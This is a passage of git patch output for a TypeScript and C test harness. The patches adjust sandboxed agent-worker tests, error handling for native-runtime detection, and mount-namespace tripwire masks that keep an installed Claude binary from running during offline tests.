handoff qualification failed"); // One owned loop at a time: the first backend must prove cleanup before the next. for (const uid of appUid ? [appUid] : ["1000", "0"]) for (const backend of backends ? [backends] : ["claude", "pi"]) { const artifact = mkdtempSync(join(output, `run-${backend}-uid${uid}-`)); @@ -67,21 +94,27 @@ if (import.meta.main) { writeFileSync(join(artifact, "native-environment.json"), JSON.stringify({ backend, appUid: Number(uid), apparmor, profile: apparmor ? "brain-kit-native-proof" : null })); if (!apparmor) console.log("AppArmor unavailable: this runtime provides no enforced AppArmor qualification."); const lease = join(root, "tmp", "workspace-operation"); mkdirSync(lease, { recursive: true, mode: 0o700 }); + const artifactInfo=lstatSync(artifact,{bigint:true}); + const artifactPin={dev:artifactInfo.dev,ino:artifactInfo.ino}; const args = nativeHostDockerArgs(root, artifact, uid, backend, apparmor, retainIndexNamespace, realpathSync(process.execPath), applyTiming, observationTiming); + const control=mkdtempSync(join(output,".proof-container-")),cidfile=join(control,"id"); + args.splice(2,0,"--cidfile",cidfile); console.log(`Native ${backend} uid ${uid} hosted proof artifacts: ${artifact}`); const runnerQuota = readFileSync("/proc/sys/user/max_user_namespaces", "utf8"); const child = Bun.spawn(args, { stdin: "ignore", stdout: "inherit", stderr: "inherit" }); const signals = ["SIGINT", "SIGTERM"] as const; const forward = (signal: NodeJS.Signals) => child.kill(signal); for (const signal of signals) process.on(signal, forward); - let code: number, runnerQuotaChanged = false; + let code: number, runnerQuotaChanged = false;let handoffError:unknown; try { code = await child.exited; } finally { for (const signal of signals) process.off(signal, forward); + try{finishNativeHostArtifacts(root,artifact,artifactPin,control);}catch(error){handoffError=error;} const after = readFileSync("/proc/sys/user/max_user_namespaces", "utf8"); writeFileSync(join(artifact, "runner-quota.json"), JSON.stringify({ before: runnerQuota, after, unchanged: runnerQuota === after })); runnerQuotaChanged = runnerQuota !== after; } + if(handoffError)throw Error(`Native proof artifact handoff failed after proof exit ${code}`,{cause:handoffError}); if (runnerQuotaChanged) throw Error("NATIVE_RUNNER_USERNS_QUOTA_UNCHANGED"); if (code !== 0) throw Error(`Native hosted proof failed (${code}); inspect ${artifact}. No skipped or absent runtime is passing proof.`); const receipt = await Bun.file(join(artifact, "native-fixture.json")).json() as { kind: string; mounted?: boolean; attached?: boolean; loopCreated?: boolean; backingExists?: boolean; errors?: string[]; removeReceipt?: unknown }[]; From d355098a7885f02607acc68bb09fe681934f4475 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 09:22:12 +0000 Subject: [PATCH 100/187] fix(test): pass acquired views and register workload authority in its owner --- packages/ui-server/tests/governance-policy.test.ts | 2 +- .../ui-server/tests/host-fallback-transition.test.ts | 2 +- .../ui-server/tests/host-unpinned-folder-plan.test.ts | 2 +- tests/fixtures/worker-limits-envelope.ts | 7 +++++++ tests/fixtures/worker-limits-workloads.ts | 10 +++++++--- tests/worker-limits-envelope.test.ts | 10 ++++++++++ tests/worker-limits-workloads.test.ts | 6 ++---- 7 files changed, 29 insertions(+), 10 deletions(-) create mode 100644 tests/fixtures/worker-limits-envelope.ts create mode 100644 tests/worker-limits-envelope.test.ts diff --git a/packages/ui-server/tests/governance-policy.test.ts b/packages/ui-server/tests/governance-policy.test.ts index 16c67e4123..9df6766598 100644 --- a/packages/ui-server/tests/governance-policy.test.ts +++ b/packages/ui-server/tests/governance-policy.test.ts @@ -378,7 +378,7 @@ test.each(["missing", "legacy", "ancestor"] as const)("a pre-existing unpinned p } finally { await strict.end(); } } if (admitted) { - next = launchAgentWorker({ brainPath: f.brain, sandbox: admitted.sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", + next = launchAgentWorker({ brainPath: f.brain, startupView: admitted.startupView, sandbox: admitted.sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", "printf ready > next-ready.md; IFS= read -r go || exit 46; if mv group/private group/moved-after-peer 2>/dev/null; then printf ROOT_RENAMED; exit 41; fi; printf ROOT_RETAINED"] }); nextOutput = Promise.all([collect(next.stdout), collect(next.stderr)]); await ready("next-ready.md"); diff --git a/packages/ui-server/tests/host-fallback-transition.test.ts b/packages/ui-server/tests/host-fallback-transition.test.ts index 4725928dce..a73662e878 100644 --- a/packages/ui-server/tests/host-fallback-transition.test.ts +++ b/packages/ui-server/tests/host-fallback-transition.test.ts @@ -32,7 +32,7 @@ test("a never-governed host fallback cannot evade peer accounting during transit writeFileSync(policy, "---\nschema_version: 1\nproviders: [{ paths: [group/private/**], allow: [anthropic] }]\n---\nAthena reviews policy.\n"); try { admitted = await turns.begin("transition-to-provider-folder", new AbortController().signal); } catch (error) { refusal = error; } if (admitted) { - next = launchAgentWorker({ brainPath: brain, sandbox: admitted.sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", "printf ready > next-ready.md; IFS= read -r go || exit 46; if mv group/private group/moved-after-peer 2>/dev/null; then printf ROOT_RENAMED; exit 41; fi; printf ROOT_RETAINED"] }); + next = launchAgentWorker({ brainPath: brain, startupView: admitted.startupView, sandbox: admitted.sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", "printf ready > next-ready.md; IFS= read -r go || exit 46; if mv group/private group/moved-after-peer 2>/dev/null; then printf ROOT_RENAMED; exit 41; fi; printf ROOT_RETAINED"] }); nextOutput = Promise.all([collect(next.stdout), collect(next.stderr)]); await ready("next-ready.md"); } writeFileSync(join(brain, "old-go.md"), "go"); expect(await old.exited, (await oldOutput).join("")).toBe(0); diff --git a/packages/ui-server/tests/host-unpinned-folder-plan.test.ts b/packages/ui-server/tests/host-unpinned-folder-plan.test.ts index cf663fe334..430d40d3b6 100644 --- a/packages/ui-server/tests/host-unpinned-folder-plan.test.ts +++ b/packages/ui-server/tests/host-unpinned-folder-plan.test.ts @@ -37,7 +37,7 @@ for (const renamed of ["group/private", "group"] as const) test(`an existing fol expect(existsSync(join(brain, "old-ready.md")), "NO_HOST_PROCESS_UNDER_EXISTING_FOLDER_POLICY").toBe(false); expect(db.query("SELECT mode, purpose, folder_topology FROM writer_gate").all(), "REFUSED_HOST_LEAVES_NO_LEDGER_ROW").toEqual([]); admitted = await turns.begin("provider-folder-after-refused-host", new AbortController().signal); - next = launchAgentWorker({ brainPath: brain, sandbox: admitted.sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", "printf ready > next-ready.md; IFS= read -r go || exit 46; if mv group/private group/moved-after-peer 2>/dev/null; then printf ROOT_RENAMED; exit 41; fi; printf ROOT_RETAINED"] }); + next = launchAgentWorker({ brainPath: brain, startupView: admitted.startupView, sandbox: admitted.sandbox, env: { PATH: "/usr/bin:/bin" }, command: ["/bin/sh", "-c", "printf ready > next-ready.md; IFS= read -r go || exit 46; if mv group/private group/moved-after-peer 2>/dev/null; then printf ROOT_RENAMED; exit 41; fi; printf ROOT_RETAINED"] }); nextOutput = Promise.all([collect(next.stdout), collect(next.stderr)]); await ready("next-ready.md"); const rootBefore = lstatSync(join(brain, "group/private")).ino; writeFileSync(join(brain, "old-go.md"), "go"); diff --git a/tests/fixtures/worker-limits-envelope.ts b/tests/fixtures/worker-limits-envelope.ts new file mode 100644 index 0000000000..5803a4e091 --- /dev/null +++ b/tests/fixtures/worker-limits-envelope.ts @@ -0,0 +1,7 @@ +/** The outer namespace runs only the fixture; native selection belongs to its service owner. */ +import {join} from "node:path"; +export function workerLimitsFixtureCommand(root:string,chromium?:string):string[]{ + const repo=join(import.meta.dir,"../.."); + return ["bwrap","--unshare-net","--bind","/","/","--proc","/proc","--dev","/dev",process.execPath, + "--preload",join(repo,"scripts/test-network-child-preload.ts"),join(import.meta.dir,"worker-limits-workloads.ts"),root,...(chromium?[chromium]:[])]; +} diff --git a/tests/fixtures/worker-limits-workloads.ts b/tests/fixtures/worker-limits-workloads.ts index 2834efc818..947f63f314 100644 --- a/tests/fixtures/worker-limits-workloads.ts +++ b/tests/fixtures/worker-limits-workloads.ts @@ -9,14 +9,17 @@ * `brain render`. Peak resident memory comes from the kernel's rusage of the * workload's process tree, measured inside the worker. Prints one JSON line. * - * Usage: bun worker-limits-workloads.ts [chromium] + * Usage: bun worker-limits-workloads.ts [chromium] */ +import {nativeScriptedService} from "../../scripts/test-native-guard.ts"; +import {bundledClaudeBinary} from "../../packages/ui-server/tests/helpers/claude-binary"; import { mkdirSync, writeFileSync } from "node:fs"; import { join, resolve } from "node:path"; import { launchFixtureAgentWorker as launchAgentWorker } from "../../packages/ui-sdk/tests/helpers/worker-startup-view-fixture.js"; import { formatLimit, workerLimitsPlan } from "../../packages/ui-sdk/src/server/worker-limits"; -const [root, claude, chromium] = process.argv.slice(2) as [string, string, string | undefined]; +const [root, chromium] = process.argv.slice(2) as [string, string | undefined]; +const claude=bundledClaudeBinary(); const REPO = resolve(import.meta.dir, "../.."); const CORPUS = join(REPO, "packages/core/fixtures/corpus"); const BRAIN_CLI = join(REPO, "packages/core/src/cli/brain.ts"); @@ -59,6 +62,7 @@ const inference = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(reques return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); const url = `http://127.0.0.1:${inference.port}`; +const releaseAuthority=nativeScriptedService(url,{fixtureRoots:[root,CORPUS]}); async function collect(stream: NodeJS.ReadableStream): Promise { let output = ""; @@ -100,4 +104,4 @@ try { { PUPPETEER_EXECUTABLE_PATH: chromium }) } : {}), }; console.log(JSON.stringify({ limits: plan.status, inferenceCalls: calls, results })); -} finally { inference.stop(true); } +} finally { inference.stop(true);releaseAuthority(); } diff --git a/tests/worker-limits-envelope.test.ts b/tests/worker-limits-envelope.test.ts new file mode 100644 index 0000000000..c534c85322 --- /dev/null +++ b/tests/worker-limits-envelope.test.ts @@ -0,0 +1,10 @@ +/** Keyless command-plan proof; the selected runtime is never executed. */ +import {expect,test} from "bun:test"; +import {workerLimitsFixtureCommand} from "./fixtures/worker-limits-envelope"; +import {isNativeClaude,nativeTripwireMaskPaths} from "../scripts/test-native-guard"; +test("the workload outer envelope carries only fixture inputs and no installed runtime path",()=>{ + const argv=workerLimitsFixtureCommand("/tmp/odysseus-workloads-fixture","/usr/bin/chromium"); + expect(argv.slice(-2),"OUTER_ARGUMENTS_ARE_FIXTURE_INPUTS").toEqual(["/tmp/odysseus-workloads-fixture","/usr/bin/chromium"]); + for(const runtime of nativeTripwireMaskPaths())expect(argv,"OUTER_ENVELOPE_HAS_NO_NATIVE_PATH_AS_DATA").not.toContain(runtime); + expect(isNativeClaude(argv[0]!,argv.slice(1)),"OUTER_ENVELOPE_DOES_NOT_RUN_NATIVE").toBe(false); +}); diff --git a/tests/worker-limits-workloads.test.ts b/tests/worker-limits-workloads.test.ts index 0ce39b384f..444ada4260 100644 --- a/tests/worker-limits-workloads.test.ts +++ b/tests/worker-limits-workloads.test.ts @@ -10,7 +10,7 @@ import { afterAll, describe, expect, test } from "bun:test"; import { existsSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { join } from "node:path"; -import { bundledClaudeBinary } from "../packages/ui-server/tests/helpers/claude-binary"; +import {workerLimitsFixtureCommand} from "./fixtures/worker-limits-envelope"; const ROOT = join(import.meta.dir, ".."); const chromium = process.env.PUPPETEER_EXECUTABLE_PATH ?? [ @@ -25,9 +25,7 @@ async function workloads() { mkdirSync(join(ROOT, "tmp"), { recursive: true }); const root = mkdtempSync(join(ROOT, "tmp/worker-limit-workloads-")); try { - const child = Bun.spawn(["bwrap", "--unshare-net", "--bind", "/", "/", "--proc", "/proc", "--dev", "/dev", process.execPath, - "--preload", join(ROOT, "scripts/test-network-child-preload.ts"), join(import.meta.dir, "fixtures/worker-limits-workloads.ts"), - root, bundledClaudeBinary(), ...(chromium ? [chromium] : [])], + const child = Bun.spawn(workerLimitsFixtureCommand(root,chromium), { cwd: ROOT, env: { PATH: process.env.PATH!, LANG: "C.UTF-8", HOME: root }, stdout: "pipe", stderr: "pipe" }); const [out, err, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); expect(exit, err || out).toBe(0); From 3ffa915b52d728292766432d08c7d46a986609dd Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 09:30:13 +0000 Subject: [PATCH 101/187] fix(test): skip only kernel-confirmed overlong executable candidates --- scripts/test-native-guard.ts | 17 +++++++++++++---- tests/native-qualification-paths.test.ts | 9 +++++++++ 2 files changed, 22 insertions(+), 4 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index db93317833..236cd752b2 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -129,7 +129,16 @@ interface SpawnContext { cwd?: string; env?: Record function resolveExecutable(command: string, options: SpawnContext): string { const cwd = resolve(options.cwd ?? process.cwd()); const path = options.env?.PATH ?? process.env.PATH; - const candidate = command.includes("/") ? resolve(cwd, command) : Bun.which(command, { cwd, PATH: path }) ?? resolve(cwd, command); + let found:string|null=null; + if(!command.includes("/")){ + try{found=Bun.which(command,{cwd,PATH:path});}catch(error){ + // Bun.which can throw an uncoded length error before reaching the kernel. + // Skip only if the kernel independently confirms ENAMETOOLONG. + try{statSync(resolve(cwd,command));}catch(metadata){if((metadata as NodeJS.ErrnoException).code==="ENAMETOOLONG")throw metadata;} + throw error; + } + } + const candidate = command.includes("/") ? resolve(cwd, command) : found ?? resolve(cwd, command); // Inspect the accessible path first: realpath of an anonymous /proc fd can // return pipe:[N] or socket:[N], which is not itself a filesystem path. if (!statSync(candidate).isFile()) throw Object.assign(new Error("not a regular executable candidate"),{code:"NOT_REGULAR_FILE"}); @@ -147,7 +156,7 @@ export function isNativeClaude(command: string, args: readonly unknown[] = [], o for (const value of nativeExecutableCandidates(command, args)) { let path: string; try { path = resolveExecutable(value, options); } catch(error) { - if(["ENOENT","NOT_REGULAR_FILE"].includes((error as NodeJS.ErrnoException).code??""))continue; + if(["ENOENT","ENAMETOOLONG","NOT_REGULAR_FILE"].includes((error as NodeJS.ErrnoException).code??""))continue; refuse("native executable metadata is unavailable"); } if(!isAbsolute(path))continue; @@ -159,7 +168,7 @@ export function isNativeClaude(command: string, args: readonly unknown[] = [], o const size = metadata.size; const candidates = installedRuntimes.filter(runtime => runtime.size === size); if (candidates.length && candidates.some(runtime => fileHash(runtime.path) === fileHash(path))) return true; - } catch(error) { if((error as NodeJS.ErrnoException).code==="ENOENT")continue;refuse("native executable metadata is unavailable"); } + } catch(error) { if(["ENOENT","ENAMETOOLONG"].includes((error as NodeJS.ErrnoException).code??""))continue;refuse("native executable metadata is unavailable"); } } return false; } @@ -1621,7 +1630,7 @@ export function nativeExistingRuntimeMaskPaths(candidates:readonly string[]):str const paths=new Set(); for(const path of candidates){ try{const canonical=realpathSync(path);if(!isAbsolute(canonical))continue;statSync(canonical);paths.add(path);paths.add(canonical);} - catch(error){if((error as NodeJS.ErrnoException).code!=="ENOENT")throw error;} + catch(error){if(!["ENOENT","ENAMETOOLONG"].includes((error as NodeJS.ErrnoException).code??""))throw error;} } return [...paths].sort(); } diff --git a/tests/native-qualification-paths.test.ts b/tests/native-qualification-paths.test.ts index 0607335c50..20739ffc8c 100644 --- a/tests/native-qualification-paths.test.ts +++ b/tests/native-qualification-paths.test.ts @@ -47,3 +47,12 @@ test("namespace pseudo-files are skipped in direct argv and shell candidate scan const child=spawnGuardFixture([process.execPath,"-e",code]),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); expect(exit,"PROC_NAMESPACE_TOKEN_DOES_NOT_REFUSE_HARMLESS_SHELL "+err).toBe(0);expect(out).toContain("PROC_NAMESPACE_TOKEN_DOES_NOT_REFUSE_HARMLESS_SHELL"); }); + +test("the real 4097-byte worker status argument reaches the status parser",async()=>{ + const code=`import {createWorkerStatusPipe} from ${JSON.stringify(join(import.meta.dir,"../packages/ui-sdk/src/server/worker-status.ts"))}; + const channel=createWorkerStatusPipe(),raw="x".repeat(4097); + const child=Bun.spawn(["/bin/sh","-c",'exec 3>"$1"; printf "%s\\n" "$2" >&3; exec /bin/sleep 5',"worker-status-fixture",channel.source,raw],{env:{},stdin:"ignore",stdout:"ignore",stderr:"pipe"}); + try{let refused;try{channel.childPid(child.pid,Date.now()+1000);}catch(error){refused=error.message;}if(!refused?.includes("exceeds its byte bound"))throw Error("OVERSIZED_STATUS_REACHES_PRODUCT_PARSER "+refused);console.log("OVERSIZED_STATUS_REACHES_PRODUCT_PARSER");}finally{child.kill("SIGKILL");await child.exited;channel.close();}`; + const child=spawnGuardFixture([process.execPath,"-e",code]),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(exit,"OVERSIZED_STATUS_REACHES_PRODUCT_PARSER "+err).toBe(0);expect(out).toContain("OVERSIZED_STATUS_REACHES_PRODUCT_PARSER");expect(err).not.toContain('"kind":"native-offline-boundary"'); +}); From 8686fa8744c4eaca048f4fd42322aed022049acb Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 09:51:42 +0000 Subject: [PATCH 102/187] fix(test): ignore non-path argv tokens without weakening runtime masks --- scripts/test-native-guard.ts | 2 +- tests/native-qualification-paths.test.ts | 16 +++++++++++++++- 2 files changed, 16 insertions(+), 2 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 236cd752b2..b226919ee0 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -156,7 +156,7 @@ export function isNativeClaude(command: string, args: readonly unknown[] = [], o for (const value of nativeExecutableCandidates(command, args)) { let path: string; try { path = resolveExecutable(value, options); } catch(error) { - if(["ENOENT","ENAMETOOLONG","NOT_REGULAR_FILE"].includes((error as NodeJS.ErrnoException).code??""))continue; + if(["ENOENT","ENAMETOOLONG","ENOTDIR","ELOOP","NOT_REGULAR_FILE"].includes((error as NodeJS.ErrnoException).code??""))continue; refuse("native executable metadata is unavailable"); } if(!isAbsolute(path))continue; diff --git a/tests/native-qualification-paths.test.ts b/tests/native-qualification-paths.test.ts index 20739ffc8c..8d99a9e0bc 100644 --- a/tests/native-qualification-paths.test.ts +++ b/tests/native-qualification-paths.test.ts @@ -13,7 +13,7 @@ test("a missing installed-runtime candidate is skipped while existing aliases re }finally{fs.rmSync(root,{recursive:true,force:true});} }); -for(const code of ["EACCES","EPERM","ENOTDIR"])test(`runtime mask metadata ${code} still fails closed`,()=>{ +for(const code of ["EACCES","EPERM","ENOTDIR","ELOOP"])test(`runtime mask metadata ${code} still fails closed`,()=>{ const root=fs.mkdtempSync("/tmp/odysseus-runtime-mask-errors-"),path=join(root,"selected");fs.writeFileSync(path,"metadata only"); const real=fs.statSync,spy=spyOn(fs,"statSync").mockImplementation(((input:any,...args:any[])=>{if(input===path)throw Object.assign(Error("runtime metadata unavailable"),{code});return Reflect.apply(real,fs,[input,...args]);}) as typeof fs.statSync); try{expect(()=>nativeExistingRuntimeMaskPaths([path]),"NON_ENOENT_METADATA_FAILURE_REFUSES").toThrow("runtime metadata unavailable");} @@ -56,3 +56,17 @@ test("the real 4097-byte worker status argument reaches the status parser",async const child=spawnGuardFixture([process.execPath,"-e",code]),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); expect(exit,"OVERSIZED_STATUS_REACHES_PRODUCT_PARSER "+err).toBe(0);expect(out).toContain("OVERSIZED_STATUS_REACHES_PRODUCT_PARSER");expect(err).not.toContain('"kind":"native-offline-boundary"'); }); + +for(const kind of ["ENOTDIR","ELOOP"] as const)test(`non-executable ${kind} argv token leaves the harmless launch unchanged`,async()=>{ + const root=fs.mkdtempSync("/tmp/odysseus-invalid-candidate-"),file=join(root,"regular"),loop=join(root,"loop");fs.writeFileSync(file,"Ithaca");fs.symlinkSync(loop,loop); + const token=kind==="ENOTDIR"?join(file,"claude"):loop; + const code=`import {isNativeClaude,nativeWorkerClassification} from ${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))}; + const token=${JSON.stringify(token)}; + if(isNativeClaude("/usr/bin/printf",["%s",token]))throw Error("INVALID_CANDIDATE_IS_NOT_NATIVE"); + for(const argv of [["/usr/bin/printf","%s",token],["/bin/sh","-c","printf '%s' "+JSON.stringify(token)]]){ + nativeWorkerClassification(argv);const child=Bun.spawn(argv,{stdout:"pipe",stderr:"pipe"});const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + if(exit||out!==token||err)throw Error("INVALID_CANDIDATE_PRESERVES_HARMLESS_LAUNCH"); + }console.log("INVALID_CANDIDATE_PRESERVES_HARMLESS_LAUNCH");`; + try{const child=spawnGuardFixture([process.execPath,"-e",code]),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);expect(exit,"INVALID_CANDIDATE_PRESERVES_HARMLESS_LAUNCH "+err).toBe(0);expect(out).toContain("INVALID_CANDIDATE_PRESERVES_HARMLESS_LAUNCH");expect(err).not.toContain('"kind":"native-offline-boundary"');} + finally{fs.rmSync(root,{recursive:true,force:true});} +}); From 416bd10e2804838c83bba6c5c6caa4cccc565807 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 10:43:59 +0000 Subject: [PATCH 103/187] fix(test): preserve product keeper topology under tripwire masks --- scripts/test-native-guard.ts | 172 +++++++++++++++------ tests/native-product-keeper.test.ts | 37 +++++ tests/native-tripwire.test.ts | 65 ++++++-- tests/native-worker-classification.test.ts | 31 ++++ 4 files changed, 240 insertions(+), 65 deletions(-) create mode 100644 tests/native-product-keeper.test.ts diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index b226919ee0..4333a9457c 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -157,6 +157,7 @@ export function isNativeClaude(command: string, args: readonly unknown[] = [], o let path: string; try { path = resolveExecutable(value, options); } catch(error) { if(["ENOENT","ENAMETOOLONG","ENOTDIR","ELOOP","NOT_REGULAR_FILE"].includes((error as NodeJS.ErrnoException).code??""))continue; + nativeReceipt({kind:"native-offline-candidate-metadata",head:nativeTestHead(),phase:"resolve",errno:["EACCES","EPERM","ENOTDIR","ELOOP","ENAMETOOLONG","ENOENT"].includes((error as NodeJS.ErrnoException).code??"")?(error as NodeJS.ErrnoException).code:"unknown"}); refuse("native executable metadata is unavailable"); } if(!isAbsolute(path))continue; @@ -1640,6 +1641,17 @@ export function nativeTripwireMaskPaths(context:SpawnContext={}):string[]{ if(selected&&isNativeClaude(selected,[],context)){paths.add(resolve(context.cwd??process.cwd(),selected));paths.add(resolveExecutable(selected,context));} return [...paths].sort(); } +/** Namespace supervisors are matched before any fixture script can execute. */ +export const nativeProductNamespaceWrappers=[{name:"copied-output-keeper",script:'"$4" -i -n -t tmpfs -o "size=$3,mode=700" tmpfs "$2" && mkdir "$2/upper" "$2/work" "$2/merged" && "$4" -i -n -t overlay overlay -o "lowerdir=$1,upperdir=$2/upper,workdir=$2/work,userxattr" "$2/merged" || exit 126; printf "ready\\n"; IFS= read -r go; exit 0',prefix:["--user","--map-root-user","--mount","--net","--ipc","--uts","--fork","--kill-child=SIGKILL"]}] as const; +function unknownProductUnshare(command:readonly string[],context:SpawnContext):boolean { + const row=nativeProductNamespaceWrappers[0];let selected=false; + try{selected=resolveExecutable(command[0]!,context)===realpathSync("/usr/bin/unshare");}catch{return false;} + if(!selected)return false; + const shell=1+row.prefix.length; + const matches=command.length===17&&row.prefix.every((word,i)=>command[i+1]===word)&&command[shell+1]==="-c"&&command[shell+2]===row.script&&command[shell+3]==="brain-output-keeper"; + if(!matches){if(command.includes("brain-output-keeper"))refuse("restriction cannot be enforced");return false;} + try{if(resolveExecutable(command[shell]!,context)!==realpathSync("/bin/sh")||resolveExecutable(command.at(-1)!,context)!==realpathSync("/usr/bin/mount"))refuse("restriction cannot be enforced");return true;}catch{refuse("restriction cannot be enforced");} +} /** Exact test-manager supervisor: no code or lookup runs before its argv exec. */ export const NATIVE_FIXTURE_FORK_EXEC = 'import os,sys\nif os.fork(): os._exit(0)\nos.execvp(sys.argv[1],sys.argv[1:])'; function unknownBwrapPosition(command:readonly string[],bwrap:string,context:SpawnContext):number { @@ -1676,69 +1688,116 @@ function unknownBwrapPayload(command:readonly string[],at:number):number { } const TRIPWIRE_SETUP_RECORD='{"kind":"native-offline-boundary","success":false,"nativeLaunched":false,"reason":"restriction cannot be enforced"}\n'; const TRIPWIRE_RECORD='{"kind":"native-offline-boundary","success":false,"nativeLaunched":false,"reason":"installed native runtime blocked by tripwire"}\n'; -interface TripwireRuntime {directory:string;stub:string;eventTarget:string;launcher:string} +interface TripwireRuntime {directory:string;stub:string;eventTarget:string;installer:string;supervisor:string} let tripwireRuntime:TripwireRuntime|undefined; const tripwireFinalizers=new Set<()=>void>(); function prepareTripwireRuntime():TripwireRuntime { if(tripwireRuntime)return tripwireRuntime; - const directory=mkdtempSync(join(GUARD_TMPDIR,"odysseus-native-mask-runtime-")),stub=join(directory,"tripwire"),eventTarget=join(directory,"event"),launcher=join(directory,"namespace"); + const directory=mkdtempSync(join(GUARD_TMPDIR,"odysseus-native-mask-runtime-")),stub=join(directory,"tripwire"),eventTarget=join(directory,"event"),installer=join(directory,"install-masks"),supervisor=join(directory,"supervisor"); chmodSync(directory,0o700);writeFileSync(eventTarget,"",{mode:0o600}); const stubSource=`#define _GNU_SOURCE\n#include \n#include \nint main(void){const char record[]=${JSON.stringify(TRIPWIRE_RECORD)};int fd=open(${JSON.stringify(eventTarget)},O_WRONLY|O_APPEND|O_NOFOLLOW);if(fd>=0){(void)write(fd,record,sizeof(record)-1);(void)close(fd);}const char message[]="Offline native runtime refused by tripwire\\n";(void)write(2,message,sizeof(message)-1);return 126;}\n`; - const launcherSource=String.raw`#define _GNU_SOURCE -#include + const installerSource=String.raw`#define _GNU_SOURCE #include -#include -#include #include -#include -#include #include #include #include #include #include #include -static int evidence=-1; -static const char *phase="arguments"; -static int fail(void){const char record[]="{\"kind\":\"native-offline-boundary\",\"success\":false,\"nativeLaunched\":false,\"reason\":\"restriction cannot be enforced\"}\n";if(evidence>=0)(void)write(evidence,record,sizeof(record)-1);fprintf(stderr,"Offline native restriction cannot be enforced phase=%s errno=%d\n",phase,errno);return 125;} -static int mapping(const char *path,const char *text){int fd=open(path,O_WRONLY|O_CLOEXEC);if(fd<0)return -1;size_t n=strlen(text);int ok=write(fd,text,n)==(ssize_t)n;close(fd);return ok?0:-1;} static int readonly_bind(const char *source,const char *target){struct statvfs st;if(statvfs(target,&st))return -1;unsigned long flags=MS_BIND|MS_REMOUNT|MS_RDONLY;if(st.f_flag&ST_NOSUID)flags|=MS_NOSUID;if(st.f_flag&ST_NODEV)flags|=MS_NODEV;if(st.f_flag&ST_NOEXEC)flags|=MS_NOEXEC;return mount(source,target,0,MS_BIND,0)||mount(0,target,0,flags,0)?-1:0;} int main(int argc,char **argv){ if(argc<8)return 125; char *end=0;long count=strtol(argv[5],&end,10);if(!end||*end||count<0||count>1024||argc<8+count||strcmp(argv[6+count],"--"))return 125; - evidence=open(argv[2],O_WRONLY|O_APPEND|O_NOFOLLOW|O_CLOEXEC);if(evidence<0)return fail(); - uid_t uid=geteuid();gid_t gid=getegid();pid_t owner=getpid();int request[2],answer[2]; - if(pipe2(request,O_CLOEXEC)||pipe2(answer,O_CLOEXEC))return fail(); - pid_t mapper=fork();if(mapper<0)return fail(); - if(mapper==0){ - close(request[1]);close(answer[0]);char go;int result[2]={0,0};char path[128],map[128]; - if(read(request[0],&go,1)!=1)_exit(1);close(request[0]); - snprintf(path,sizeof(path),"/proc/%ld/setgroups",(long)owner);if(mapping(path,"deny")&&errno!=ENOENT)result[0]=-1; - if(!result[0]){snprintf(path,sizeof(path),"/proc/%ld/uid_map",(long)owner);snprintf(map,sizeof(map),"%lu %lu 1\n",(unsigned long)uid,(unsigned long)uid);result[0]=mapping(path,map);} - if(!result[0]){snprintf(path,sizeof(path),"/proc/%ld/gid_map",(long)owner);snprintf(map,sizeof(map),"%lu %lu 1\n",(unsigned long)gid,(unsigned long)gid);result[0]=mapping(path,map);} - result[1]=errno;(void)write(answer[1],result,sizeof(result));close(answer[1]);_exit(result[0]?1:0); + int evidence=open(argv[2],O_WRONLY|O_APPEND|O_NOFOLLOW|O_CLOEXEC);if(evidence<0)return 125; + char log[4096];if(snprintf(log,sizeof(log),"%s/exec.log",argv[4])>=(int)sizeof(log)||fcntl(202,F_GETFD)>=0)return 125;int audit=open(log,O_WRONLY|O_APPEND|O_NOFOLLOW|O_CLOEXEC);if(audit<0||dup2(audit,202)<0)return 125;close(audit); + char event[4096];int failed=snprintf(event,sizeof(event),"%s/event",argv[3])>=(int)sizeof(event); + if(!failed)failed=readonly_bind(argv[4],argv[4])||readonly_bind(argv[3],argv[3])||mount(argv[2],event,0,MS_BIND,0)||mount(0,event,0,MS_BIND|MS_REMOUNT|MS_NOSUID|MS_NODEV,0); + for(long i=0;i +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +/* Private supervisor status, closed before any fixture executable. */ +#define STATUS_MAGIC 0x4f445953 +struct outcome { uint32_t magic; int code; int signal; }; +static const int forwarded[]={SIGTERM,SIGINT,SIGHUP,SIGQUIT,SIGUSR1,SIGUSR2,SIGPIPE,SIGALRM}; +static int send_signal(int pidfd,pid_t pid,int signal){if(pidfd>=0)return syscall(SYS_pidfd_send_signal,pidfd,signal,0,0);return kill(pid,signal);} +static void result_exit(int status){if(WIFSIGNALED(status)){int signal=WTERMSIG(status);struct sigaction action={.sa_handler=SIG_DFL};sigaction(signal,&action,0);sigset_t 